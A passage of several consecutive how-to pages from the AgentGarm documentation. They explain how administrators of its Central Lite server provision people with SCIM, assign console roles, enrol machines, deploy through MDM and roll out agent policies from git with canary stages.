serve, and lower them again afterwards. garm-central scim show shows the settings and the group mappings, garm-central identity show the people provisioned, and Settings → SCIM each source's active and total users, groups and last request. Serve with room for a large first sync, on the Central Lite host garm-central serve --listen 0.0.0.0:8443 --scim-burst 2000 --scim-per-minute 20000 See what the provider sent, on the Central Lite host garm-central scim show garm-central identity show 4. Map groups to console roles garm-central scim groups lists the groups each source sent, with Central Lite's id and the group's externalId. garm-central scim map gives a group's members a console role at a scope (the whole org unless you name one). Name the group by its externalId where the provider sends one (Entra ID does), or by Central Lite's id (Okta's group push sends none), never by display name. Membership changes apply as they arrive. A member without an admin gets one, without a passkey, named from the local part of their userName, and an admin_added alert is raised. Until they add a passkey their console session is read-only. Central Lite needs a first admin of its own, made at setup, before it adds any: until then the member is refused with a scim_admin_refused alert. Mapping roles, the login attribute and workload identity federation are set on the host only; the console shows them. garm-central scim login-from userName-local binds each user to the login name before the @ in their userName, on every machine, as the provider next sends them; a value that is no login name, or one someone else holds, binds nothing and is alerted. Map a group to the security role, on the Central Lite host garm-central scim groups garm-central scim map --group --role security See also Give people the right access in the consoleGive each Central Lite admin one of six roles, for the whole org or a host group, and know who may request a kill order and who holds each approver key. 5. Offboard someone and watch their key stop working Deactivate the person at your provider, or unassign them from the app. The provider sends active: false, and in that one change Central Lite suspends their principal, ends their console sessions, stops counting any approver key they hold, and publishes a new identity registry at once. Each machine erases the gateway keys AgentGarm issued to that person on its next delivery, and its proxy refuses the key within a minute after that, with 403 and “AgentGarm: this gateway key is revoked or no longer usable”. A key issued elsewhere keeps working at its issuer: end it there. Reactivating the person restores them. Entra ID deletes a user 30 days after removal, which retires their principal and removes their admin for good; a person hired again later becomes a new principal. Okta never deletes, so an Okta person stays suspended until you retire their principal with garm-central identity principal state. To watch it, run agentgarm identity on their machine before and after: the key is gone. On the Central Lite host, garm-central identity show lists the principal as suspended, and garm-central approver holders shows any approver key they held as suspended. See the gateway keys held for you, on the person's machine agentgarm identity Check the principal and approver keys, on the Central Lite host garm-central identity show garm-central approver holders Retire an Okta person who has left, on the Central Lite host garm-central identity principal state retired See also Give Claude Code a per-developer gateway keyGive each developer their own gateway key from Central Lite and let Claude Code fetch it through apiKeyHelper; a claude.ai login is never routed. 6. Decide what to do with a held wave A mistake at the provider can unassign everyone at once. Within any hour, once one source has suspended or deleted more than 5 people and more than 10% of its users, Central Lite holds the next ones: the first ones apply, the provider is answered as if all were done, and a High alert (scim_wave_held) asks an owner to decide. The held people stay active at Central Lite meanwhile. A single offboarding is never held. garm-central scim holds lists each hold's source, when it was raised and who is held. garm-central scim hold resolve with --apply makes every held change and publishes the registry once; with --discard it drops them, and those people stay active: then fix the assignment at the provider. In the console, Settings → SCIM lists Held waves with “Apply with a passkey” and “Discard with a passkey”. Read a held wave and apply it, on the Central Lite host garm-central scim holds garm-central scim hold resolve --id --apply The console's SCIM settings: the endpoint, the sources with a held wave of removals to apply or discard, and the bearer tokens 7. Rotate the token Create a second token with the same source name, give it to the provider, check its last use in garm-central scim token list, then revoke the first by its id. A revoked token is refused at once, with 401: if your provider reports 401, its token was revoked or mistyped, so give it a current one. Settings → SCIM lists the bearer tokens with their creation and last use, and revokes one with a passkey. While Central Lite is restoring from a backup, every SCIM write is answered 503 with a wait of five minutes, so the provider retries rather than giving up. Rotate Okta's token, on the Central Lite host garm-central scim token create --name okta garm-central scim token list garm-central scim token revoke --id See also Back up and restore Central LiteWrite Central Lite's encrypted backups by hand and on a schedule, and restore one so that no enrolled node refuses what Central Lite signs next. Next guide: Give people the right access in the consolepreviewAll how-to guides # Give people the right access in the console URL: https://agentgarm.com/docs/how-to/console-roles Docs › How-to guides › Give people the right access in the console Guide 49 of 61 · Running a fleet with Central Lite Give people the right access in the console Give each Central Lite admin one of six roles, for the whole org or a host group, and know who may request a kill order and who holds each approver key. Built, not yet claimed preview: this guide describes a package that has not passed its release gate. Learn the six roles and what each sees, make host groups, bind roles by hand or from your identity provider's groups, know who may request a kill order, keep track of who holds each approver key, and know what Central Lite's host can do outside all of it. On this page 1.Know the roles and what each sees 2.Make host groups 3.Bind roles by hand or by group 4.Know who may request a kill order 5.Keep track of who holds each approver key 6.Use the host's commands as break-glass 1. Know the roles and what each sees Every console admin holds one or more of six built-in roles; there are no custom roles. owner can do everything, including roles, single sign-on, SCIM and SIEM settings. admin publishes policy, runs rollouts, makes enrolment tokens, revokes machines and changes compliance settings. security requests, cancels and lifts kill orders, stops single tasks, and works incidents and evidence exports. auditor reads everything, Central Lite's audit log and timelines included, and may export evidence, its only write. finops sees costs, budgets and spend by person. viewer sees the fleet's inventory, health, rollouts and costs, but nothing personal. Seeing people is a permission of its own: names, identities at your provider, a timeline's person-level view and evidence exports need it, and viewer and finops don't have it. The console lists only the sections your roles open and offers only the changes they allow, and Central Lite checks every call itself: one your roles don't allow is refused with “your roles don't allow this”. A role decides whether you may ask; every change still asks for your passkey. Admins who existed before roles were added are all owners, so nothing changes until you edit bindings. 2. Make host groups A host group is a named, fixed list of machines; a machine may be in several. Groups live only in Central Lite and never reach the machines. garm-central group create makes one and group add puts a machine in it by its host id, which garm-central node list shows. Deleting or renaming a group is refused while a role is bound to it, while an SSO or SCIM role mapping names it (remove the mapping first), and while an unused enrolment token names it. In the console, Settings → Roles & access → Host groups makes, renames and deletes groups and adds and removes hosts, each with a passkey. An enrolment token made with --group puts each new machine in that group as it enrols. A role bound to a group reaches only its machines. The inventory and its counts, costs by model, the machines' events, the live feed, pending approvals and kill orders show its machines only, and it may revoke one of them, ask for a kill order by host: or hosts:, and read or export a task's incident timeline when every machine the task ran on is in its group. What belongs to the whole org needs a role for the whole org: rollouts and policy, Central Lite's own audit log, costs by provider account or by person, enrolment tokens, and the settings. Make a group of laptops, on the Central Lite host garm-central node list garm-central group create laptops garm-central group add laptops --host garm-central group list See also Enrol developer machinesEnrol a machine in Central Lite with a one-time token that pins Central Lite's key, see it report in the inventory, and let its users enrol presence keys. 3. Bind roles by hand or by group garm-central role bind gives an admin a role at a scope: org (the default), group: and a group's name, or host: and a host id. garm-central role list shows each binding with its id and where it came from, and role unbind removes one by its id. In the console, Settings → Roles & access lists the bindings with their source and since when, removes one, and binds a role to a listed admin, each with a passkey; an admin who holds no binding yet is bound on the host, since the console has no admin list. From your identity provider, a group can carry a role two ways: garm-central sso map sets it at each sign-in from the token, and garm-central scim map sets it as SCIM sends the group's members. Central Lite refuses to remove the last owner binding held by an admin with a passkey, and warns while only one is left: keep two. Give alice the security role, on the Central Lite host garm-central role bind --admin alice --role security garm-central role list --admin alice Remove a binding, on the Central Lite host garm-central role unbind --binding The console's Roles & access: each role binding with its role, scope and source, then every admin with its passkeys and stateSee also Sign in to the console with your identity providerLet admins open Central Lite's console through Okta, Entra ID or another OIDC provider, with roles from its groups and a passkey still behind every change. 4. Know who may request a kill order Requesting, cancelling and asking to lift a kill order need security or owner at a scope that covers the order. A security role bound to a host group may request or cancel an order by host: or hosts: for machines in its group, and sees only those orders; an order for the whole fleet, an agent or a person, and asking to lift any order, need the role for the whole org. Answering a remote approval on the Approvals page needs owner, admin or security (one bound to a group answers its machines' only), and still the approver key. A role never approves anything: kill orders and remote approvals are signed by approver keys, listed in the org root. Releasing a legal hold counts only admins holding owner, or security for the whole org, with a passkey, each from 24 hours after the binding. Placing a legal hold and asking for its release are done on the host, outside roles, for now. See also Stop agents across a fleetSuspend, terminate or lock down agents on one machine, one agent, one person or the whole fleet, with an order two approver keys sign and each node checks. 5. Keep track of who holds each approver key Central Lite records which admin holds each approver key: the admin signed in when the key first answers in the console, or the one you name with garm-central approver hold. It then refuses that key from anyone else's session. garm-central approver holders, or Incidents → Approver holders in the console, shows each key's holder, since when, whether it is suspended, and how many keys can still sign against the threshold a fleet-wide order needs. When your identity provider deprovisions a holder, Central Lite stops counting their keys at once. A machine still accepts them until the key is revoked: Central Lite revokes a key still suspended after 7 days, or at once when the holder is deleted, unless that would leave fewer keys than a fleet-wide order needs; then it waits for an owner (alert approver_revocation_waits). An owner can revoke a suspended key at once with “Revoke with a passkey”; revocation is permanent. While suspensions leave too few usable keys, Central Lite raises approvers_below_threshold; single-task kills and root's local lift still work. garm-central approver sweep does now what serve does every hour. Record a key's holder and read the holders, on the Central Lite host garm-central approver hold --key-id --admin alice garm-central approver holders See also Provision and remove people with SCIMLet Okta or Entra ID create the people Central Lite knows, give them console roles from their groups, and end their access when they leave. 6. Use the host's commands as break-glass Roles and single sign-on limit what a console session or an identity provider can do, not what Central Lite's host can. Every garm-central command runs as the account that holds Central Lite's keys, outside roles, and is chained in the audit log with that account's name. That makes it the way back in when every owner is locked out: bind an owner again with role bind, or print a recovery code with admin recover. It also means whoever controls that host can add admins and, under Central Lite's single software root, approver keys. Guard the host and its account as you guard your owners. Make alice an owner again, on the Central Lite host garm-central role bind --admin alice --role owner garm-central admin recover --name alice See also Stand up Central LiteSet up Central Lite on one Linux host: its org and keys, its HTTPS port, a first admin and a backup passkey, and its first encrypted backup. Next guide: Enrol developer machinespreviewAll how-to guides # Enrol developer machines URL: https://agentgarm.com/docs/how-to/enrol-machines Docs › How-to guides › Enrol developer machines Guide 50 of 61 · Running a fleet with Central Lite Enrol developer machines Enrol a machine in Central Lite with a one-time token that pins Central Lite's key, see it report in the inventory, and let its users enrol presence keys. Built, not yet claimed preview: this guide describes a package that has not passed its release gate. Create a one-time enrolment token in Central Lite, hand it to a machine's agentgarmd, which pins Central Lite's key from the token before it sends anything, and see the machine report in Central Lite's inventory. Then keep its audit key trusted after a rotation, and let its users enrol their presence keys with a grant from Central Lite instead of root on the machine. On this page 1.Create a one-time enrolment token 2.Enrol the machine with the token 3.Find the machine in Central Lite 4.Accept a machine's new audit key 5.Let each user enrol a presence key 6.Remove a machine 1. Create a one-time enrolment token On the Central Lite host, garm-central token create mints a token (agt1.…) that carries everything a machine needs to find and trust Central Lite: the URL you gave init, the org, the org root's key fingerprints and the SHA-256 of Central Lite's TLS key. It works once and expires within 24 hours, the default (--expires-in, for example 4h). Central Lite refuses to create one until its org root metadata is installed and unexpired. The token is shown once: on stdout, or with --out in a new 0600 file, never over an existing one; its id and expiry go to stderr. Central Lite keeps only the secret's hash, and creating it is chained in Central Lite's audit log. --profile names the token's profile (lower-case letters, digits, - and _; default managed; ci-oidc is reserved for CI runners). --group names a host group the machine joins as it enrols, so a role bound to that group reaches it from its first report (host groups). The group must exist already (garm-central group create), or the token is refused. The machine joins it in the same step that spends the token, and the join is chained in the audit log. The token names the group by name, so Central Lite refuses garm-central group delete and group rename for that group until the token is used or expires. If the group is gone all the same when the token is used (say, after restoring an older backup), the machine still enrols, in no group, and Central Lite raises the alert enrolment_group_missing: add it with garm-central group add. In the console, Enrolment does the same: set the Profile (prefilled managed) and choose how long it is Valid for (1, 4, 8 or 23 hours), then “Create with a passkey”, which asks your passkey again for this exact token. The token appears once, under “Copy this token now: it will not be shown again”, with “Copy the token”; the form waits until you hide it. The form names no host group yet: for a token whose machine joins a group, use --group on the Central Lite host. Write a token to a new file garm-central token create --out enrol-token A token whose machine joins a host group garm-central token create --group laptops --out laptop-token Checked by the walk: this command ran as written on a Central Lite host. The console's Enrolment screen with a single-use token shown once 2. Enrol the machine with the token Take the token to the machine and give it to sudo agentgarm node enrol on stdin. It is never an argument. --token-file reads it from a file instead, but only from a regular file owned by root with no group or other permissions (0600 or 0400), so a file another account wrote is refused. Enrolment is root only, on a root install, from outside every governed task. The machine needs nothing else from you. Its agentgarmd connects to the URL in the token and checks Central Lite's TLS key against the hash in the token before it sends the token, so a server that is not your Central Lite never sees it, and Central Lite's self-signed certificate needs no trust on the machine. It then creates a fresh mTLS key, registers, verifies Central Lite's org root metadata against the token's fingerprints, and writes Central Lite's signing keys, one keyring per role. It prints the org, the host id and its SPIFFE id, the certificate's expiry (90 days, renewed automatically at two thirds), the org root metadata version and its custody (software under Central Lite's root), and the org's fingerprint key, which replaces the machine's own. Uploads start at once. A refusal exits 2: an enrolled machine must node leave first, and a spent or expired token needs a new one. Enrol this machine, the token on stdin sudo agentgarm node enrol < enrol-token Checked by the walk: this command ran as written on a Linux node enrolled in Central Lite. 3. Find the machine in Central Lite garm-central node list shows every node with its host id, hostname, state (enrolled, revoked or left), last report and, per stream, what Central Lite acknowledged, the events it holds and any lost. A node reports as soon as its control channel opens, then every 5 minutes. garm-central node show with the host id adds the registration, each stream's detail, the audit keys Central Lite pinned for it, and its last report: components, policy, keys and their custody. In the console, Inventory lists the same nodes under Nodes, with their OS, sentinels, agentgarmd version, policy, key custody, last report, state and host id. The host id is what a kill order's host: scope names. A node whose agentgarmd is too old to apply an order is counted as too old in the order's blast radius, and never sent one. It is also what puts a machine enrolled without a group in one later, so that a role bound to that group reaches it: garm-central group add with the group's name and the host id (host groups). A token made with --group did this at enrolment. List the enrolled nodes garm-central node list Show one node garm-central node show HOST Put the machine in a host group garm-central group add laptops --host HOST Checked by the walk: this command ran as written on a Central Lite host. The console's Inventory: each machine with its state and actions, then the fleet's figuresSee also Stop agents across a fleetSuspend, terminate or lock down agents on one machine, one agent, one person or the whole fleet, with an order two approver keys sign and each node checks. 4. Accept a machine's new audit key Central Lite believes a node's audit chain heads only under the audit key it pinned when the node registered. If the node later starts a new chain under a new key (a key rotation, or a recovered store), nothing cryptographic links the two keys, so Central Lite raises audit_key_rotated and ignores that node's heads until you accept the key or the node enrols again. Read the key id on the machine itself, from the node key line of agentgarm status, and compare it with the alert; never copy it from the alert alone, which only repeats what the report claimed. Then accept it on the Central Lite host. Central Lite takes it only when the node's last report names that key and its head proves the rotation. There is no console action for this. Read the node key, on the machine agentgarm status Accept the rotated key, on the Central Lite host garm-central node accept-audit-key HOST --key-id ID Checked by the walk: this command ran as written on a Linux node enrolled in Central Lite. 5. Let each user enrol a presence key Approving an ask needs the user's presence key, and on its own only root on the machine opens the window to enrol one. On an enrolled machine, Central Lite can issue a presence enrolment grant instead: garm-central presence grant names the node and the local account, lasts 15 minutes by default and at most an hour, and is shown once. In the console, Inventory's “Presence grant” on the node's row does the same after “Issue with a passkey”. As that user, not root, run agentgarm enrol --grant-file - and paste the grant; the machine's agentgarmd checks it, uses it once, opens that user's 5-minute window, and the key enrolment follows as usual. The grant is signed by Central Lite's online approval key, so whoever controls Central Lite's host could open a window for a named user on a named machine. Revoking that key (garm-central approver revoke) stops every grant it signed, on each node that applies the revocation list. A node gets the list on its next delivery over the control channel, not at once; one that is offline gets it when it next connects. Issue a grant for one account, on the Central Lite host garm-central presence grant --host HOST --user alice Open the window and enrol, as that user agentgarm enrol --grant-file - See also Approve risky actions with Touch IDEnrol a Touch ID key on your Mac and approve each command your policy asks about with your fingerprint, for that one call only. 6. Remove a machine sudo agentgarm node leave on the machine deregisters it: Central Lite revokes its certificate, and the machine removes the certificate and Central Lite's keys and stops uploading the events Central Lite never acknowledged, which stay in its local store with its audit chain. When Central Lite cannot be reached, the machine leaves locally and says so; revoke it in Central Lite too. garm-central node revoke stops a machine you no longer trust from the Central Lite host: every service refuses its certificates at once, and the next revocation list names them. In the console, Inventory's “Revoke” on the node's row does the same after a reason and “Revoke with a passkey”. Leave Central Lite, on the machine sudo agentgarm node leave Revoke a node, on the Central Lite host garm-central node revoke HOST --reason "laptop lost" See also Stop an agent task on any machineKill or suspend one agent task from the Central Lite host, check that the node applied it, and revoke a machine you no longer trust. Next guide: Deploy AgentGarm with MDMpreviewAll how-to guides # Deploy AgentGarm with MDM URL: https://agentgarm.com/docs/how-to/mdm-deploy Docs › How-to guides › Deploy AgentGarm with MDM Guide 51 of 61 · Running a fleet with Central Lite Deploy AgentGarm with MDM Roll AgentGarm out to managed Macs, Linux machines and Windows PCs: the packages, the services, the macOS approvals and the browser extension. Built, not yet claimed preview: this guide describes a package that has not passed its release gate. Push AgentGarm to your fleet with the tools you already use: Jamf or another macOS MDM for the package, the system extension and privacy approvals, your configuration management on Linux, and Intune on Windows, plus browser policies that force-install AgentGarm's extension and let it reach the machine's agentgarmd. At the end each machine runs AgentGarm's services and is ready to enrol in Central Lite. Parts of this wait on store listings and release signing, so the guide is a preview. On this page 1.Fill the templates with fill.sh 2.Force-install the browser extension 3.Push the macOS profiles with Jamf or another MDM 4.Install the package and start the services on each Mac 5.Roll out to Linux with your configuration management 6.Deploy to Windows with Intune 7.Enrol each machine in Central Lite 1. Fill the templates with fill.sh The release tarball carries AgentGarm's MDM templates, fill.sh and the macOS post-install script in share/agentgarm/mdm; the .deb, .rpm and .pkg do not. fill.sh reads the browser extension's store ids, the extension's action on a secret and AgentGarm's Apple Team ID from extension.env beside it, fills every template, and writes the results under --out. It installs nothing, and it refuses a malformed value or a placeholder left unfilled. Today extension.env holds no ids, because the extension is not yet listed in the Chrome Web Store or Edge Add-ons, so fill.sh writes no browser files until a release fills them. It writes the browser files for each browser whose id is set, and the four macOS host profiles once the Team ID is set, in extension.env or with --apple-team-id. Fill the templates from an unpacked release tarball share/agentgarm/mdm/fill.sh --out agentgarm-mdm 2. Force-install the browser extension Each browser's file sets four policies for Chrome or Edge: ExtensionInstallForcelist, with the extension's store id and the store's update URL; NativeMessagingAllowlist, with AgentGarm's host com.agentgarm.nm_host; QuicAllowed off, so the browser's HTTPS goes over TCP where AgentGarm's proxy governs it; and the extension's own on_secret: alert, block or redact. They come as a macOS profile, a Linux policy file, and a Windows .reg file with an administrative template for on_secret. The extension asks the machine's agentgarmd for policy only when it is given that machine's node key, which differs on every machine: run fill.sh per machine with --node-pub and that machine's node.pub for its own node-key file, and with --host-path for the native-messaging host's manifest, which goes into the browser's native-messaging directory. Install the filled native-messaging/allowed-origins over the empty one in share/agentgarm/native-messaging/ beside AgentGarm's programs: the host answers only the extensions listed there, so without it the extension never gets the machine's policy. Without a node key, the managed on_secret decides. If you already set ExtensionInstallForcelist or NativeMessagingAllowlist elsewhere, add AgentGarm's entry to your own list: two profiles that set the same policy conflict. One machine's node-key files and host manifest, on Linux share/agentgarm/mdm/fill.sh --out agentgarm-mdm --node-pub /var/lib/agentgarm/node.pub --host-path /usr/bin/agentgarm-nm-host See also Keep secrets and card numbers out of promptsSee which credentials your agent sends its model provider, have the proxy replace them with cache-safe placeholders, and deny tool calls that carry one. 3. Push the macOS profiles with Jamf or another MDM Upload the filled profiles to Jamf, Intune, Kandji or any MDM and scope them to the Macs that get AgentGarm. agentgarm-system-extensions.mobileconfig approves AgentGarm's Endpoint Security and Network Extension system extensions, which users then cannot turn off; agentgarm-pppc-fda.mobileconfig grants Full Disk Access to the Endpoint Security extension and to /usr/local/bin/agentgarmd; agentgarm-transparent-proxy.mobileconfig configures the Network Extension's proxy; and agentgarm-pppc-airbag.mobileconfig grants Accessibility to the computer-use airbag, if you use it. Each grant is pinned to AgentGarm's signing identity, and each profile is system-wide and cannot be removed by the user. Only a profile installed by MDM is binding; on an unmanaged Mac the user approves the extension in System Settings and grants Full Disk Access by hand. If one of these profiles is later removed, agentgarmd raises an alert and lowers every running task's assurance. The signed extensions need Apple's Endpoint Security entitlement, which is not granted yet, and whether the airbag's grant takes effect without a prompt has not been checked on a managed Mac. See also Govern computer-use agentsLet an agent drive your Mac's mouse and keyboard while AgentGarm's airbag drops its input on password managers, settings and other protected targets. 4. Install the package and start the services on each Mac Deploy agentgarm-X.Y.Z-universal-apple-darwin.pkg as a package in your MDM. It puts AgentGarm.app, which carries both system extensions, into /Applications and the programs into /usr/local/bin, and runs no script, so nothing governs the Mac yet. Add macos-postinstall.sh from the tarball's share/agentgarm/mdm as a script your MDM runs as root after the package, with --agent for each agent whose managed hooks you want and --airbag if you use the computer-use airbag. It installs agentgarmd, the per-user session service, the hooks and the airbag, and agentgarm doctor reports the result. The profiles only pre-approve the system extensions; macOS loads them when AgentGarm asks, and agentgarmd install asks, printing what macOS answered for each extension. The script exits with status 3 when everything else installed but the extensions are not active yet, for example because the profiles had not arrived, so your MDM shows it as failed and can run it again; every step is safe to repeat. This has not yet been tried on a Mac enrolled in an MDM, and the Endpoint Security extension waits on Apple's entitlement. Every macOS release is signed and notarised; until the first one is out, this step is for evaluation on Macs you control. The script your MDM runs as root after the package share/agentgarm/mdm/macos-postinstall.sh --agent claude-code --agent codex --airbag 5. Roll out to Linux with your configuration management AgentGarm ships no Ansible role, Puppet module or Salt state: have your tool install the .deb or .rpm, then run the same commands as root, since the packages run no script either. Copy the browser policy files where the browsers read managed policy, /etc/opt/chrome/policies/managed/ for Chrome and /etc/opt/edge/policies/managed/ for Edge, with each machine's node-key file beside the fleet file, and the host manifest into /etc/opt/chrome/native-messaging-hosts/ or /etc/opt/edge/native-messaging-hosts/. The node key exists only once agentgarmd has started on the machine, in /var/lib/agentgarm/node.pub, so fill each machine's node-key file after the services are installed. Install and start AgentGarm on a Debian or Ubuntu machine sudo apt install ./agentgarm_X.Y.Z-1_amd64.deb sudo agentgarmd install sudo agentgarmd install --session sudo agentgarmd hooks install claude-code 6. Deploy to Windows with Intune preview The Windows build is a preview and is not code-signed yet. The .msi installs per machine under C:\Program Files\AgentGarm and starts the AgentGarm service, but installs no agent hooks: run agentgarmd hooks install for each agent from an Intune script afterwards, as on macOS and Linux; AgentGarm also has a script that wraps it as an Intune Win32 app, but that script refuses an unsigned .msi, so an Intune rollout waits for signed releases. For the extension, import the .reg files through Group Policy preferences, an Intune script or reg import, and the administrative template into Intune for on_secret; Chrome's and Edge's own templates already in Intune cover the force-install list. Chrome force-installs an extension only on a managed Windows machine: joined to a domain or to Entra ID, or enrolled in Chrome's cloud management. To remove AgentGarm, run agentgarmd uninstall before removing the package, so the agents' hooks come out first. Install silently, from an administrator prompt msiexec /i agentgarm-X.Y.Z-x86_64-pc-windows-msvc.msi /qn /norestart Uninstall, the daemon first agentgarmd uninstall msiexec /x agentgarm-X.Y.Z-x86_64-pc-windows-msvc.msi /qn /norestart 7. Enrol each machine in Central Lite Each enrolment token works once, on one machine, and expires within 24 hours, so deliver a separate token to each machine in a file only root can read, 0600 or 0400, and have your MDM or configuration management run agentgarm node enrol with --token-file as root. The command refuses a token file that another account owns or can read. Delete the file once the machine has enrolled. Enrol a machine from a token file sudo agentgarm node enrol --token-file /var/tmp/agentgarm-enrol-token See also Enrol developer machinesEnrol a machine in Central Lite with a one-time token that pins Central Lite's key, see it report in the inventory, and let its users enrol presence keys. Next guide: Roll out policy from git with canariespreviewAll how-to guides # Roll out policy from git with canaries URL: https://agentgarm.com/docs/how-to/policy-rollout Docs › How-to guides › Roll out policy from git with canaries Guide 52 of 61 · Running a fleet with Central Lite Roll out policy from git with canaries Keep agents.d policies in git and let Central Lite roll each signed commit out to canaries, then the fleet, halting by itself when machines report trouble. Built, not yet claimed preview: this guide describes a package that has not passed its release gate. Keep your fleet's agents.d policies in a git repository, sign each commit as a committer, and let Central Lite publish it as a signed bundle that reaches your canary machines first, then a quarter of the fleet, then every machine, halting by itself when machines it reached report trouble. At the end you can advance, halt or roll back a rollout, and replay a recorded day against a change before it reaches anyone. On this page 1.Put your policies in a git repository 2.Create a committer key and list it in the org root 3.Point Central Lite at the repository and sign the commit 4.Choose the canaries and the soak 5.Publish the commit and follow its rollout 6.Advance, halt or roll back a rollout 7.Replay a recorded day before the change reaches anyone 1. Put your policies in a git repository Central Lite publishes the policies of one directory of one repository at one commit: each .yaml directly in it, named in lowercase letters, digits and hyphens, at most 256 of them. Subdirectories and other files are ignored, and a symbolic link with a policy's name refuses the commit. On every machine the bundle reaches, those policies replace its agents.d files as a whole. agentgarm policy init writes a default pack, in audit mode, into any directory and needs no daemon; the Central Lite tarball carries no pack, so write it wherever agentgarm is installed. For a first try this guide keeps the repository beside Central Lite, made by the account that runs it; the commit and its note are made under your git identity, here the repository's own. Make a repository with the Claude Code pack git init -b main policies git -C policies config user.name "Alice Example" git -C policies config user.email alice@example.com agentgarm policy init claude-code --dir policies/agents.d git -C policies add agents.d git -C policies commit -m "Claude Code policy" Checked by the walk: this command ran as written on a Central Lite host. See also Watch your agent for a week, then enforceStart a policy in audit mode, see what enforcing it would have blocked in your own history, fix the rules that get in the way, then switch it to enforce. 2. Create a committer key and list it in the org root Central Lite publishes a commit only with a committer's AgentGarm attestation over the repository, the commit and every policy text; git's own GPG or SSH signatures play no part. With no committer listed, it publishes nothing. garm-central policy committer-key --dir D creates the committer's Ed25519 key, or shows it, and prints its public key and key_id. With the default --keystore auto the key is in the macOS keychain, and elsewhere in a 0600 file under D/keys; a directory inside Central Lite's state directory is refused. garm-central root lite --committer signs the next org root version listing that key, and every enrolled machine then checks the attestation too, so a stolen online policy key alone cannot push a policy nobody committed. Keep the committer key on a committer's own machine in production: under Central Lite's 1-of-1 root, whoever controls Central Lite's host can sign a root listing a committer of their own. Create a committer key and list it as the org's committer garm-central policy committer-key --dir committer garm-central root lite --committer "$(garm-central policy committer-key --dir committer | awk '/^public/ {print $2}')" Checked by the walk: this command ran as written on a Central Lite host. See also Stand up Central LiteSet up Central Lite on one Linux host: its org and keys, its HTTPS port, a first admin and a backup passkey, and its first encrypted backup. 3. Point Central Lite at the repository and sign the commit garm-central policy source set --repo takes an https:// or ssh:// URL, user@host:path, a file:// URL or an absolute path to a bare repository or a working copy; --ref defaults to main and --path to agents.d. A URL with credentials, http:// and git:// are refused, and a private https repository is not supported: use ssh or a local mirror. Central Lite pulls with the system git, which its container image does not have. garm-central policy attest reads your local repository, runs Central Lite's lint gate, signs for --source-repo, which must be the repository exactly as policy source show prints it, and prints an agc1. line. --write-note adds that line as the commit's note under refs/notes/agentgarm-policy, where Central Lite reads it; with a remote repository, push the note with git push refs/notes/agentgarm-policy. Configure the repository and attest its commit garm-central policy source set --repo "$PWD/policies" garm-central policy source show garm-central policy attest --repo policies --source-repo "$PWD/policies" --dir committer --write-note Checked by the walk: this command ran as written on a Central Lite host. 4. Choose the canaries and the soak Each publication starts a rollout in stages: the canary hosts, then enough hosts that at least a quarter of the fleet is reached, then every host, including those that enrol later. A stage advances once its soak has passed and at least 95 % of its members, the hosts that reported within the heartbeat window when it began, acknowledged the bundle and stayed healthy, or at its deadline if nothing went wrong. Hosts outside the stages reached keep the bundle in force before it. garm-central rollout config sets what each new rollout copies: --canary takes a host id from node list (repeat it per host), and the defaults are a soak of 2 minutes, a deadline of 30 minutes and a heartbeat window of 2 minutes. With no canaries a rollout starts at the quarter. Without options the command prints the configuration. Make two machines the canaries with a 5-minute soak garm-central node list garm-central rollout config --canary --canary --soak 5m Show the stage configuration garm-central rollout config Checked by the walk: this command ran as written on a Central Lite host. 5. Publish the commit and follow its rollout garm-central policy publish pulls the repository now, stops on a policy that does not compile or any lint error, checks the attestation against the committers the org root lists, signs a bundle valid for 30 days and starts its rollout, printing the version and the rollout id. The same commit again is unchanged. A commit that does not descend from the newest one published is refused as a rollback unless you pass --allow-rollback --reason, which is chained. serve --policy-pull-every (at least 10s, off by default) publishes each new signed commit by itself and alerts policy_refused on a refusal. In the console, “Publish from the repository” under Policy repository in Policies and rollouts does the same, confirmed with your passkey. A machine the rollout reaches checks the bundle's signatures, compiles every policy, and refuses the whole bundle if one fails, which counts against the rollout. Once in force, agentgarm status there shows each policy as central: bundle version . rollout list shows the open rollout's state, stage and how many members acknowledged and are healthy. Publish and list the bundles and the rollout garm-central policy publish garm-central policy list garm-central rollout list Check the policies in force, on an enrolled machine agentgarm status Checked by the walk: these commands ran as written on a Central Lite host and a Linux node enrolled in Central Lite. 6. Advance, halt or roll back a rollout Central Lite halts a rollout by itself, and alerts, when 5 % of the hosts it reached, and at least one, fail to load the bundle, restart, never acknowledge it, error on more than 1 % of decisions or answer too slowly, or when more than a fifth of a stage's members go silent. Denies are never a trigger. It rolls back by itself only when at least half the hosts reached, and at least two, fail to load or crash loop; otherwise a rollback is yours. rollout advance moves to the next stage now, halt and resume stop and restart it, exclude --host sets one failing host aside from the health checks for good (it still gets the bundle; resume the rollout if that host halted it), and rollback re-issues the earlier content as a new, higher version to every machine, so no machine's anti-rollback mark moves down. In the console's Policies and rollouts section a running rollout offers Advance, Halt and Roll back, a halted one Resume and Roll back, and a completed one Roll back while it is the newest, each confirmed with your passkey; exclusions and the configuration stay on the host. Inspect, advance, halt, resume, exclude a host from or roll back one rollout garm-central rollout show garm-central rollout advance garm-central rollout halt --reason "canary crash loop" garm-central rollout resume garm-central rollout exclude --host --reason "disk full" garm-central rollout rollback --reason "breaks the build agents" The console's Policies and rollouts, with the policy repository and a table of rollouts 7. Replay a recorded day before the change reaches anyone Central Lite holds no decision inputs, so a replay runs over a day a machine recorded. agentgarmd replay export writes one user's decisions for one policy as a new 0600 file, holding only each action, its directory and what was taken; it is refused under the non-monitoring profile. Carry the file to Central Lite's host: garm-central policy replay --commit replays the configured repository's commit before publication against the newest bundle, with --home that user's home, and counts the decisions made stricter, looser or decided by another rule. The day is read, never stored. With rollout config --replay-gate on (off by default) each new rollout waits, reaching no machine, until rollout replay releases it: at once when nothing is made stricter and every changed policy was replayed, otherwise only with --accept --reason, chained. In the console, “Replay and release” on the waiting rollout, confirmed with “Replay and release with a passkey”, does the same, for days small enough for one passkey step-up. Export a user's day, on an enrolled machine sudo agentgarmd replay export --policy claude-code --uid 1000 --day 2026-10-29 --out claude-code-day.jsonl Replay the day against the next commit, on the Central Lite host garm-central policy replay --commit --events claude-code=claude-code-day.jsonl --home /home/alice Gate rollouts on a replay and release one garm-central rollout config --replay-gate on garm-central rollout replay --events claude-code=claude-code-day.jsonl --home /home/alice See also Test a policy before you ship itWrite what a policy must allow, ask about and deny as a file of events, replay it before you install the policy, and keep both in your repository. Next guide: Roll out outbound inspection across a fleetpreviewAll how-to guides # Roll out outbound inspection across a fleet URL: https://agentgarm.com/docs/how-to/outbound-inspection-fleet Docs › How-to guides › Roll out outbound inspection across a fleet Guide 53 of 61 · Running a fleet with Central Lite Roll out outbound inspection across a fleet Beta List the sites your fleet's agents should not send secrets to, run them in Audit, read 